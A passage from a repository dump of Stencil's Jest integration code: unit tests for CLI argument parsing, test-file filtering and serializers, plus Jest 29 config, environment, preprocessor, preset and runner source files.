'--passWithNoTests']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.spec).toBe(true);\n    expect(jestArgv.passWithNoTests).toBe(true);\n  });\n\n  it('should parse a setup with a filepath constraint', () => {\n    const args = ['test', '--spec', '--json', '--', 'my-component.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--spec', '--json', '--', 'my-component.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['--', 'my-component.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.json).toBe(true);\n    // the `_` field holds any filename pattern matches\n    expect(jestArgv._).toEqual(['my-component.spec.ts']);\n  });\n\n  it('should parse multiple file patterns', () => {\n    const args = ['test', '--spec', '--json', '--', 'foobar/*', 'my-spec.ts'];\n    const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n    expect(jestArgv.json).toBe(true);\n    // the `_` field holds any filename pattern matches\n    expect(jestArgv._).toEqual(['foobar/*', 'my-spec.ts']);\n  });\n\n  describe('Jest aliases', () => {\n    it('should support the string Jest alias \"-w=4\" for maxWorkers', () => {\n      const args = ['test', '--spec', '-w=4'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.maxWorkers).toBe(4);\n    });\n\n    it('should support the string Jest alias \"-w 4\" for maxWorkers', () => {\n      const args = ['test', '--spec', '-w', '4'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.maxWorkers).toBe(4);\n    });\n\n    it('should support the string Jest alias \"-t\" for testNamePattern', () => {\n      const args = ['test', '--spec', '-t=my-test-pattern'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.testNamePattern).toBe('my-test-pattern');\n    });\n\n    it('should support the string Jest alias \"-t pattern\" for testNamePattern', () => {\n      const args = ['test', '--spec', '-t', 'my-test-pattern'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.testNamePattern).toBe('my-test-pattern');\n    });\n\n    it.each<[string, keyof Config.Argv]>([\n      ['b', 'bail'],\n      ['e', 'expand'],\n      ['o', 'onlyChanged'],\n      ['f', 'onlyFailures'],\n      ['i', 'runInBand'],\n      ['u', 'updateSnapshot'],\n    ])('should support the boolean Jest alias %p for %p', (alias, fullArgument) => {\n      const args = ['test', '--spec', `-${alias}`];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv[fullArgument]).toBe(true);\n    });\n  });\n\n  it('sets the default runner', () => {\n    const jestArgv = buildJestArgv(mockValidatedConfig());\n    const config = JSON.parse(jestArgv.config!);\n    expect(config.testRunner).toBe('jest-circus');\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-28/test/jest-preprocessor.spec.ts",
    "content": "import { shouldTransform } from '../jest-preprocessor';\n\ndescribe('jest preprocessor', () => {\n  it('shouldTransform', () => {\n    expect(shouldTransform('file.ts', '')).toBe(true);\n    expect(shouldTransform('file.d.ts', '')).toBe(true);\n    expect(shouldTransform('file.tsx', '')).toBe(true);\n    expect(shouldTransform('file.jsx', '')).toBe(true);\n    expect(shouldTransform('file.mjs', '')).toBe(true);\n    expect(shouldTransform('file.css', '')).toBe(true);\n    expect(shouldTransform('file.CsS', '')).toBe(true);\n    expect(shouldTransform('file.css?tag=my-cmp', '')).toBe(true);\n  });\n\n  it('shouldTransform js ext with es module imports/exports', () => {\n    expect(shouldTransform('file.js', 'import {} from \"./file\";')).toBe(true);\n    expect(shouldTransform('file.js', 'import.meta.url')).toBe(true);\n    expect(shouldTransform('file.js', 'export * from \"./file\";')).toBe(true);\n    expect(shouldTransform('file.js', 'console.log(\"hi\")')).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-28/test/jest-runner.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\n\nimport { ConfigFlags, createConfigFlags } from '../../../../cli/config-flags';\nimport { getEmulateConfigs, includeTestFile } from '../jest-runner';\n\ndescribe('jest-runner', () => {\n  it('should include for /path/prefix.spec.ts with --spec', () => {\n    const testPath = `/path/prefix.spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/spec.ts with --spec', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/prefix.e2e.ts with --e2e', () => {\n    const testPath = `/path/prefix.e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/e2e.ts with --e2e', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should not include for /path/spec.ts with no --spec', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {};\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/e2e.ts with no --e2e', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {};\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/e2e.ts with --spec', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should not include for /path/spec.ts with --e2e', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(false);\n  });\n\n  it('should use android userAgent from getEmulateConfigs', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ device: 'anDroiD' }, { device: 'iphone' }],\n    };\n    const flags: ConfigFlags = createConfigFlags({\n      emulate: 'Android',\n    });\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(1);\n    expect(emulateConfigs[0].device).toBe('anDroiD');\n  });\n\n  it('should use android user agent from getEmulateConfigs', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ userAgent: 'Mozilla/Android' }, { userAgent: 'SomeUserAgent/iPhone X' }],\n    };\n    const flags: ConfigFlags = createConfigFlags({\n      emulate: 'android',\n    });\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(1);\n    expect(emulateConfigs[0].userAgent).toBe('Mozilla/Android');\n  });\n\n  it('should use all configs from getEmulateConfigs by default', () => {\n    const testing: d.TestingConfig = {\n      emulate: [{ device: 'android' }, { device: 'iphone' }],\n    };\n    const flags: ConfigFlags = createConfigFlags();\n    const emulateConfigs = getEmulateConfigs(testing, flags);\n    expect(emulateConfigs).toHaveLength(2);\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-28/test/jest-serializer.spec.ts",
    "content": "import { MockDocument } from '@stencil/core/mock-doc';\n\nimport { HtmlSerializer } from '../jest-serializer';\n\ndescribe('serialize node', () => {\n  let doc: MockDocument;\n\n  beforeEach(() => {\n    doc = new MockDocument();\n    const div = doc.createElement('div');\n    div.innerText = 'Test';\n    doc.body.appendChild(div);\n  });\n\n  it('should be valid serializer', () => {\n    expect(HtmlSerializer.test(doc)).toBeTruthy();\n    expect(HtmlSerializer.test(doc.body)).toBeTruthy();\n  });\n\n  it('should generate serialized element', () => {\n    const result = HtmlSerializer.print(doc.body);\n    expect(result).toContain(`<div>`);\n  });\n\n  it('should serialize', () => {\n    expect.addSnapshotSerializer(HtmlSerializer);\n    expect(doc.body).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-28/test/jest-setup-test-framework.spec.ts",
    "content": "import { MockHTMLElement, MockNode } from '@stencil/core/mock-doc';\n\nimport { removeDomNodes } from '../jest-setup-test-framework';\n\ndescribe('jest setup test framework', () => {\n  describe('removeDomNodes', () => {\n    it('removes all children of the parent node', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      parentNode.appendChild(new MockHTMLElement(null, 'p'));\n\n      expect(parentNode.childNodes.length).toEqual(1);\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes.length).toBe(0);\n    });\n\n    it('does nothing if there is no parent node', () => {\n      const parentNode: MockNode | undefined = undefined;\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode).toBeUndefined();\n    });\n\n    it('does nothing if the parent node child array is empty', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      parentNode.childNodes = [];\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes).toStrictEqual([]);\n    });\n\n    it('does nothing if the parent node child array is `null`', () => {\n      const parentNode = new MockHTMLElement(null, 'div');\n      // the intent of this test is to guard against null-ish childNodes, hence the type assertion\n      parentNode.childNodes = null as unknown as MockNode[];\n\n      removeDomNodes(parentNode);\n\n      expect(parentNode.childNodes).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-28/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-config.ts",
    "content": "import type { Config } from '@jest/types';\nimport { BOOLEAN_CLI_FLAGS } from '@stencil/core/cli';\nimport type * as d from '@stencil/core/internal';\nimport { isString } from '@utils';\n\nimport { Jest29Stencil } from './jest-facade';\n\n/**\n * Builds the `argv` to be used when programmatically invoking the Jest CLI\n * @param config the Stencil config to use while generating Jest CLI arguments\n * @returns the arguments to pass to the Jest CLI, wrapped in an object\n */\nexport function buildJestArgv(config: d.ValidatedConfig): Config.Argv {\n  const yargs = require('yargs');\n\n  const knownArgs = config.flags.knownArgs.slice();\n\n  if (!knownArgs.some((a) => a.startsWith('--max-workers') || a.startsWith('--maxWorkers'))) {\n    knownArgs.push(`--max-workers=${config.maxConcurrentWorkers}`);\n  }\n\n  if (config.flags.devtools) {\n    knownArgs.push('--runInBand');\n  }\n\n  // we combine the modified args and the unknown args here and declare the\n  // result read only, providing some type system-level assurance that we won't\n  // mutate it after this point.\n  //\n  // We want that assurance because Jest likes to have any filepath match\n  // patterns at the end of the args it receives. Those args are going to be\n  // found in our `unknownArgs`, so while we want to do some stuff in this\n  // function that adds to `knownArgs` we need a guarantee that all of the\n  // `unknownArgs` are _after_ all the `knownArgs` in the array we end up\n  // generating the Jest configuration from.\n  const args: ReadonlyArray<string> = [...knownArgs, ...config.flags.unknownArgs];\n\n  config.logger.info(config.logger.magenta(`jest args: ${args.join(' ')}`));\n\n  const jestArgv = yargs(args).argv as Config.Argv;\n  jestArgv.config = buildJestConfig(config);\n\n  if (typeof jestArgv.maxWorkers === 'string') {\n    try {\n      jestArgv.maxWorkers = parseInt(jestArgv.maxWorkers, 10);\n    } catch (e) {}\n  }\n\n  if (typeof jestArgv.ci === 'string') {\n    jestArgv.ci = jestArgv.ci === 'true' || jestArgv.ci === '';\n  }\n\n  for (const flag of BOOLEAN_CLI_FLAGS) {\n    if (typeof jestArgv[flag] === 'string') {\n      jestArgv[flag] = jestArgv[flag] === 'true';\n    }\n  }\n\n  return jestArgv;\n}\n\n/**\n * Generate a Jest run configuration to be used as a part of the `argv` passed to the Jest CLI when it is invoked\n * programmatically\n * @param config the Stencil config to use while generating Jest CLI arguments\n * @returns the Jest Config to attach to the `argv` argument\n */\nexport function buildJestConfig(config: d.ValidatedConfig): string {\n  const stencilConfigTesting = config.testing;\n  const jestDefaults: Config.DefaultOptions = require('jest-config').defaults;\n\n  const validJestConfigKeys = Object.keys(jestDefaults);\n\n  const jestConfig: d.JestConfig = {};\n\n  Object.keys(stencilConfigTesting).forEach((key) => {\n    if (validJestConfigKeys.includes(key)) {\n      (jestConfig as any)[key] = (stencilConfigTesting as any)[key];\n    }\n  });\n\n  jestConfig.rootDir = config.rootDir;\n\n  if (isString(stencilConfigTesting.collectCoverage)) {\n    jestConfig.collectCoverage = stencilConfigTesting.collectCoverage;\n  }\n  if (Array.isArray(stencilConfigTesting.collectCoverageFrom)) {\n    jestConfig.collectCoverageFrom = stencilConfigTesting.collectCoverageFrom;\n  }\n  if (isString(stencilConfigTesting.coverageDirectory)) {\n    jestConfig.coverageDirectory = stencilConfigTesting.coverageDirectory;\n  }\n  if (stencilConfigTesting.coverageThreshold) {\n    jestConfig.coverageThreshold = stencilConfigTesting.coverageThreshold;\n  }\n  if (isString(stencilConfigTesting.globalSetup)) {\n    jestConfig.globalSetup = stencilConfigTesting.globalSetup;\n  }\n  if (isString(stencilConfigTesting.globalTeardown)) {\n    jestConfig.globalTeardown = stencilConfigTesting.globalTeardown;\n  }\n  if (isString(stencilConfigTesting.preset)) {\n    jestConfig.preset = stencilConfigTesting.preset;\n  }\n  if (stencilConfigTesting.projects) {\n    jestConfig.projects = stencilConfigTesting.projects;\n  }\n  if (Array.isArray(stencilConfigTesting.reporters)) {\n    jestConfig.reporters = stencilConfigTesting.reporters;\n  }\n  if (isString(stencilConfigTesting.testResultsProcessor)) {\n    jestConfig.testResultsProcessor = stencilConfigTesting.testResultsProcessor;\n  }\n  if (stencilConfigTesting.transform) {\n    jestConfig.transform = stencilConfigTesting.transform;\n  }\n  if (stencilConfigTesting.verbose) {\n    jestConfig.verbose = stencilConfigTesting.verbose;\n  }\n  if (typeof stencilConfigTesting.bail !== 'undefined') {\n    jestConfig.bail =\n      typeof stencilConfigTesting.bail === 'number' ? stencilConfigTesting.bail : stencilConfigTesting.bail ? 1 : 0;\n  }\n  if (stencilConfigTesting.prettierPath) {\n    jestConfig.prettierPath = stencilConfigTesting.prettierPath;\n  }\n  if (stencilConfigTesting.restoreMocks) {\n    jestConfig.restoreMocks = stencilConfigTesting.restoreMocks;\n  }\n\n  jestConfig.testRunner = new Jest29Stencil().getDefaultJestRunner();\n\n  return JSON.stringify(jestConfig);\n}\n\nexport function getProjectListFromCLIArgs(config: d.ValidatedConfig, argv: Config.Argv): string[] {\n  const projects = argv.projects ? argv.projects : [];\n\n  projects.push(config.rootDir);\n\n  return projects;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-environment.ts",
    "content": "import type { Circus } from '@jest/types';\nimport type { E2EProcessEnv, JestEnvironmentGlobal } from '@stencil/core/internal';\nimport { TestEnvironment as NodeEnvironment } from 'jest-environment-node';\n\nimport { connectBrowser, disconnectBrowser, newBrowserPage } from '../../puppeteer/puppeteer-browser';\nimport { JestPuppeteerEnvironmentConstructor } from '../jest-apis';\n\nexport function createJestPuppeteerEnvironment(): JestPuppeteerEnvironmentConstructor {\n  const JestEnvironment = class extends NodeEnvironment {\n    browser: any;\n    pages: any[];\n    testPath: string | null;\n\n    constructor(config: any, context: any) {\n      super(config, context);\n      // Initialize fields after super() to ensure parent's global is not overwritten\n      // (required for ES2022+ target where field initializers run after super())\n      this.browser = null;\n      this.pages = [];\n      this.testPath = context.testPath;\n    }\n\n    override async setup() {\n      if ((process.env as E2EProcessEnv).__STENCIL_E2E_TESTS__ === 'true') {\n        const globalContext = this.global as unknown as JestEnvironmentGlobal;\n        globalContext.__NEW_TEST_PAGE__ = this.newPuppeteerPage.bind(this);\n        globalContext.__CLOSE_OPEN_PAGES__ = this.closeOpenPages.bind(this);\n      }\n    }\n\n    /**\n     * Jest Circus hook for capturing events.\n     *\n     * We use this lifecycle hook to capture information about the currently running test in the event that it is a\n     * Jest-Stencil screenshot test, so that we may accurately report on it.\n     *\n     * @param event the captured runtime event\n     */\n    async handleTestEvent(event: Circus.AsyncEvent): Promise<void> {\n      // The 'parent' of a top-level describe block in a Jest block has one more 'parent', which is this string.\n      // It is not exported by Jest, and is therefore copied here to exclude it from the fully qualified test name.\n      const ROOT_DESCRIBE_BLOCK = 'ROOT_DESCRIBE_BLOCK';\n      if (event.name === 'test_start') {\n        const eventTest = event.test;\n\n        /**\n         * We need to build the full name of the test for screenshot tests.\n         * We do this as a test name can be the same across multiple tests - e.g. `it('renders', ()  => {...});`.\n         * While this does not necessarily guarantee the generated name will be unique, it matches previous Jest-Stencil\n         * screenshot behavior.\n         */\n        let fullName = eventTest.name;\n        let currentParent: Circus.DescribeBlock | undefined = eventTest.parent;\n        // For each parent block (`describe('suite description', () => {...}`), grab the suite description and prepend\n        // it to the running name.\n        while (currentParent && currentParent.name && currentParent.name != ROOT_DESCRIBE_BLOCK) {\n          fullName = `${currentParent.name} ${fullName}`;\n          currentParent = currentParent.parent;\n        }\n        // Set the current spec for us to inspect for using the default reporter in screenshot tests.\n        const globalContext = this.global as unknown as JestEnvironmentGlobal;\n        globalContext.currentSpec = {\n          // the event's test's name is analogous to the original description in earlier versions of jest\n          description: eventTest.name,\n          fullName,\n          testPath: this.testPath,\n        };\n      }\n    }\n    async newPuppeteerPage() {\n      if (!this.browser) {\n        // load the browser and page on demand\n        this.browser = await connectBrowser();\n      }\n\n      /**\n       * if the user had open pages before, close them all when creating a new one\n       */\n      await this.closeOpenPages();\n\n      const page = await newBrowserPage(this.browser);\n      this.pages.push(page);\n      // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n      const env: E2EProcessEnv = process.env as E2EProcessEnv;\n      if (typeof env.__STENCIL_DEFAULT_TIMEOUT__ === 'string') {\n        page.setDefaultTimeout(parseInt(env.__STENCIL_DEFAULT_TIMEOUT__, 10));\n      }\n      return page;\n    }\n\n    async closeOpenPages() {\n      await Promise.all(this.pages.filter((page) => !page.isClosed()).map((page) => page.close()));\n      this.pages.length = 0;\n    }\n\n    override async teardown() {\n      await super.teardown();\n      await this.closeOpenPages();\n      await disconnectBrowser(this.browser);\n      this.browser = null;\n    }\n\n    override getVmContext() {\n      return super.getVmContext();\n    }\n  };\n\n  return JestEnvironment;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-facade.ts",
    "content": "// @ts-ignore - without importing this, we get a TypeScript error, \"TS4053\".\n// eslint-disable-next-line @typescript-eslint/no-unused-vars\nimport type { Config } from '@jest/types';\n\nimport { JestFacade } from '../jest-facade';\nimport { createJestPuppeteerEnvironment } from './jest-environment';\nimport { jestPreprocessor } from './jest-preprocessor';\nimport { preset } from './jest-preset';\nimport { createTestRunner } from './jest-runner';\nimport { runJest } from './jest-runner';\nimport { runJestScreenshot } from './jest-screenshot';\nimport { jestSetupTestFramework } from './jest-setup-test-framework';\n\n/**\n * `JestFacade` implementation for communicating between this directory's version of Jest and Stencil\n */\nexport class Jest29Stencil implements JestFacade {\n  getJestCliRunner() {\n    return runJest;\n  }\n\n  getRunJestScreenshot() {\n    return runJestScreenshot;\n  }\n\n  getDefaultJestRunner() {\n    return 'jest-circus';\n  }\n\n  getCreateJestPuppeteerEnvironment() {\n    return createJestPuppeteerEnvironment;\n  }\n\n  getJestPreprocessor() {\n    return jestPreprocessor;\n  }\n\n  getCreateJestTestRunner() {\n    return createTestRunner;\n  }\n\n  getJestSetupTestFramework() {\n    return jestSetupTestFramework;\n  }\n\n  getJestPreset() {\n    return preset;\n  }\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-preprocessor.ts",
    "content": "import type { TransformedSource, TransformOptions } from '@jest/transform';\nimport { ts } from '@stencil/core/compiler';\nimport type { Diagnostic, TranspileOptions } from '@stencil/core/internal';\nimport { loadTypeScriptDiagnostic, normalizePath } from '@utils';\n\nimport { transpile } from '../../test-transpile';\n\n/**\n * Constant used for cache busting when the contents of this file have changed. When modifying this file, it's advised\n * this value be monotonically incremented.\n */\nconst CACHE_BUSTER = 9;\n\n/**\n * Fields containing the consuming library's `tsconfig.json#options` entry. The first is the original representation,\n * where the second is the stringified version. These fields are cached to prevent unnecessary I/O & repetitive\n * stringification of the read options. Note that this caching does not persist across multiple Jest workers (I.E.\n * every Jest worker will read the `tsconfig.json` file and stringify it's `options` entry.\n */\nlet _tsCompilerOptions: ts.CompilerOptions | null = null;\nlet _tsCompilerOptionsKey: string | null = null;\n\nexport const jestPreprocessor = {\n  /**\n   * Transforms a file to CommonJS to be used by Jest. The API for `process` is described in the\n   * [\"Writing custom transformers\"](https://jestjs.io/docs/code-transformation#writing-custom-transformers)\n   * documentation on the jest site. Unfortunately, the URL is not versioned at the time of this writing. For\n   * reference, the v28 docs were referenced.\n   *\n   * @param sourceText the contents of the source file\n   * @param sourcePath the path to the source file\n   * @param options the transformation options to apply to each file\n   * @returns the transformed file contents if the file should be transformed. returns the original source otherwise\n   */\n  process(sourceText: string, sourcePath: string, options: TransformOptions): TransformedSource {\n    const transformOptions = options.config;\n\n    if (shouldTransform(sourcePath, sourceText)) {\n      const opts: TranspileOptions = {\n        file: sourcePath,\n        currentDirectory: transformOptions.rootDir,\n      };\n\n      const tsCompilerOptions: ts.CompilerOptions | null = getCompilerOptions(transformOptions.rootDir);\n      if (tsCompilerOptions) {\n        if (tsCompilerOptions.baseUrl) {\n          opts.baseUrl = tsCompilerOptions.baseUrl;\n        }\n        if (tsCompilerOptions.paths) {\n          opts.paths = tsCompilerOptions.paths;\n        }\n        if (tsCompilerOptions.jsx !== undefined) {\n          opts.jsx = tsCompilerOptions.jsx;\n        }\n        // Override jsxImportSource to use internal/testing for Jest tests\n        // This ensures TypeScript emits imports from the testing bundle instead of jsx-runtime\n        if (tsCompilerOptions.jsxImportSource) {\n          opts.jsxImportSource = '@stencil/core/internal/testing';\n        }\n      }\n\n      const results = transpile(sourceText, opts);\n\n      const hasErrors = results.diagnostics.some((diagnostic) => diagnostic.level === 'error');\n\n      if (results.diagnostics && hasErrors) {\n        const msg = results.diagnostics.map(formatDiagnostic).join('\\n\\n');\n        throw new Error(msg);\n      }\n\n      return { code: results.code };\n    }\n\n    return { code: sourceText };\n  },\n\n  /**\n   * Generates a key used to cache the results of transforming a file. This helps avoid re-processing a file via the\n   * `transform` function unnecessarily (when no changes have occurred). The API for `getCacheKey` is described in the\n   * [\"Writing custom transformers\"](https://jestjs.io/docs/code-transformation#writing-custom-transformers)\n   * documentation on the jest site. Unfortunately, the URL is not versioned at the time of this writing. For\n   * reference, the v28 docs were referenced.\n   *\n   * @param sourceText the contents of the source file\n   * @param sourcePath the path to the source file\n   * @param options the transformation options to apply to each file\n   * @returns the key to cache a file with\n   */\n  getCacheKey(sourceText: string, sourcePath: string, options: TransformOptions): string {\n    const transformOptions = options.config;\n\n    if (!_tsCompilerOptionsKey) {\n      const opts = getCompilerOptions(transformOptions.rootDir);\n      _tsCompilerOptionsKey = JSON.stringify(opts);\n    }\n\n    const key = [\n      process.version,\n      _tsCompilerOptionsKey,\n      sourceText,\n      sourcePath,\n      options,\n      !!options.instrument,\n      CACHE_BUSTER,\n    ];\n\n    return key.join(':');\n  },\n};\n\nfunction formatDiagnostic(diagnostic: Diagnostic) {\n  let m = '';\n\n  if (diagnostic.relFilePath) {\n    m += diagnostic.relFilePath;\n    if (typeof diagnostic.lineNumber === 'number') {\n      m += ':' + diagnostic.lineNumber + 1;\n      if (typeof diagnostic.columnNumber === 'number') {\n        m += ':' + diagnostic.columnNumber;\n      }\n    }\n    m += '\\n';\n  }\n\n  m += diagnostic.messageText;\n\n  return m;\n}\n\n/**\n * Read the TypeScript compiler configuration file from disk\n * @param rootDir the location to search for the config file\n * @returns the configuration, or `null` if the file cannot be found\n */\nfunction getCompilerOptions(rootDir: string): ts.CompilerOptions | null {\n  if (_tsCompilerOptions) {\n    return _tsCompilerOptions;\n  }\n\n  if (typeof rootDir !== 'string') {\n    return null;\n  }\n\n  rootDir = normalizePath(rootDir);\n\n  const tsconfigFilePath = ts.findConfigFile(rootDir, ts.sys.fileExists);\n  if (!tsconfigFilePath) {\n    return null;\n  }\n\n  const tsconfigResults = ts.readConfigFile(tsconfigFilePath, ts.sys.readFile);\n\n  if (tsconfigResults.error) {\n    throw new Error(formatDiagnostic(loadTypeScriptDiagnostic(tsconfigResults.error)));\n  }\n\n  const parseResult = ts.parseJsonConfigFileContent(\n    tsconfigResults.config,\n    ts.sys,\n    rootDir,\n    undefined,\n    tsconfigFilePath,\n  );\n\n  _tsCompilerOptions = parseResult.options;\n  return _tsCompilerOptions;\n}\n\n/**\n * Determines if a file should be transformed prior to being consumed by Jest, based on the file name and its contents\n * @param filePath the path of the file\n * @param sourceText the contents of the file\n * @returns `true` if the file should be transformed, `false` otherwise\n */\nexport function shouldTransform(filePath: string, sourceText: string): boolean {\n  const ext = (filePath.split('.').pop() ?? '').toLowerCase().split('?')[0];\n\n  if (ext === 'ts' || ext === 'tsx' || ext === 'jsx') {\n    // typescript extensions (to include .d.ts)\n    return true;\n  }\n  if (ext === 'mjs') {\n    // es module extensions\n    return true;\n  }\n  if (ext === 'js') {\n    // there may be false positives here\n    // but worst case scenario a commonjs file is transpiled to commonjs\n    if (sourceText.includes('import ') || sourceText.includes('import.') || sourceText.includes('import(')) {\n      return true;\n    }\n    if (sourceText.includes('export ')) {\n      return true;\n    }\n  }\n  if (ext === 'css') {\n    // convert a standard css file into an NodeJS ready file\n    return true;\n  }\n  return false;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-preset.ts",
    "content": "import type { Config } from '@jest/types';\nimport { join } from 'path';\n\n/**\n * The path's declared below are relative. Specifically, they are relative to the location of this file after\n * compilation of the Stencil compiler has completed.\n */\nconst testingDir = __dirname;\nconst rootDir = join(testingDir, '..');\nconst internalDir = join(rootDir, 'internal');\n\n// NOTE: if you change this, also change compiler/transpile.ts. Search for 'mod_extensions_jest' to find other comments\n// like it.\nconst moduleExtensions = ['ts', 'tsx', 'js', 'mjs', 'jsx'];\nconst moduleExtensionRegexp = '(' + moduleExtensions.join('|') + ')';\n\nconst preset: Config.InitialOptions = {\n  moduleFileExtensions: [...moduleExtensions, 'json', 'd.ts'],\n  moduleNameMapper: {\n    '^@stencil/core/cli$': join(rootDir, 'cli', 'index.js'),\n    '^@stencil/core/compiler$': join(rootDir, 'compiler', 'stencil.js'),\n    '^@stencil/core/internal$': join(internalDir, 'testing', 'index.js'),\n    '^@stencil/core/internal/app-data$': join(internalDir, 'app-data', 'index.cjs'),\n    '^@stencil/core/internal/app-globals$': join(internalDir, 'app-globals', 'index.js'),\n    '^@stencil/core/internal/testing$': join(internalDir, 'testing', 'index.js'),\n    '^@stencil/core/mock-doc$': join(rootDir, 'mock-doc', 'index.cjs'),\n    '^@stencil/core/sys$': join(rootDir, 'sys', 'node', 'index.js'),\n    '^@stencil/core/testing$': join(testingDir, 'index.js'),\n    '^@stencil/core$': join(internalDir, 'testing', 'index.js'),\n  },\n  setupFilesAfterEnv: [join(testingDir, 'jest-setuptestframework.js')],\n  testEnvironment: join(testingDir, 'jest-environment.js'),\n  testPathIgnorePatterns: ['/.cache', '/.stencil', '/.vscode', '/dist', '/node_modules', '/www'],\n  testRegex: '(/__tests__/.*|\\\\.?(test|spec))\\\\.' + moduleExtensionRegexp + '$',\n  transform: {\n    '^.+\\\\.(ts|tsx|jsx|css|mjs)$': join(testingDir, 'jest-preprocessor.js'),\n  },\n  watchPathIgnorePatterns: ['^.+\\\\.d\\\\.ts$'],\n};\n\nexport { preset };\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-runner.ts",
    "content": "import type { AggregatedResult } from '@jest/test-result';\nimport type * as d from '@stencil/core/internal';\nimport { default as TestRunner } from 'jest-runner';\n\nimport type { ConfigFlags } from '../../../cli/config-flags';\nimport { setScreenshotEmulateData } from '../../puppeteer/puppeteer-emulate';\nimport { JestTestRunnerConstructor } from '../jest-apis';\nimport { buildJestArgv, getProjectListFromCLIArgs } from './jest-config';\n\nexport async function runJest(config: d.ValidatedConfig, env: d.E2EProcessEnv) {\n  let success = false;\n\n  try {\n    // set all of the emulate configs to the process.env to be read later on\n    const emulateConfigs = getEmulateConfigs(config.testing, config.flags);\n    env.__STENCIL_EMULATE_CONFIGS__ = JSON.stringify(emulateConfigs);\n    env.__STENCIL_ENV__ = JSON.stringify(config.env);\n    env.__STENCIL_TRANSPILE_PATHS__ = config.transformAliasedImportPaths ? 'true' : 'false';\n\n    if (config.flags.ci || config.flags.e2e) {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '30000';\n    } else {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '15000';\n    }\n    if (config.flags.devtools) {\n      env.__STENCIL_DEFAULT_TIMEOUT__ = '300000000';\n    }\n    config.logger.debug(`default timeout: ${env.__STENCIL_DEFAULT_TIMEOUT__}`);\n\n    // build up our args from our already know list of args in the config\n    const jestArgv = buildJestArgv(config);\n    // build up the project paths, which is basically the app's root dir\n    const projects = getProjectListFromCLIArgs(config, jestArgv);\n\n    // run the @jest/core with our data rather than letting the\n    // @jest/core parse the args itself\n    const { runCLI } = require('@jest/core');\n    const cliResults = (await runCLI(jestArgv, projects)) as {\n      results: AggregatedResult;\n    };\n\n    success = !!cliResults.results.success;\n  } catch (e) {\n    config.logger.error(`runJest: ${e}`);\n  }\n\n  return success;\n}\n\n/**\n * Creates a Stencil test runner\n * @returns the test runner\n */\nexport function createTestRunner(): JestTestRunnerConstructor {\n  class StencilTestRunner extends TestRunner {\n    override async runTests(tests: { context: any; path: string }[], watcher: any, options: any) {\n      const env = process.env as d.E2EProcessEnv;\n\n      // filter out only the tests the flags said we should run\n      tests = tests.filter((t) => includeTestFile(t.path, env));\n\n      if (env.__STENCIL_SCREENSHOT__ === 'true' && 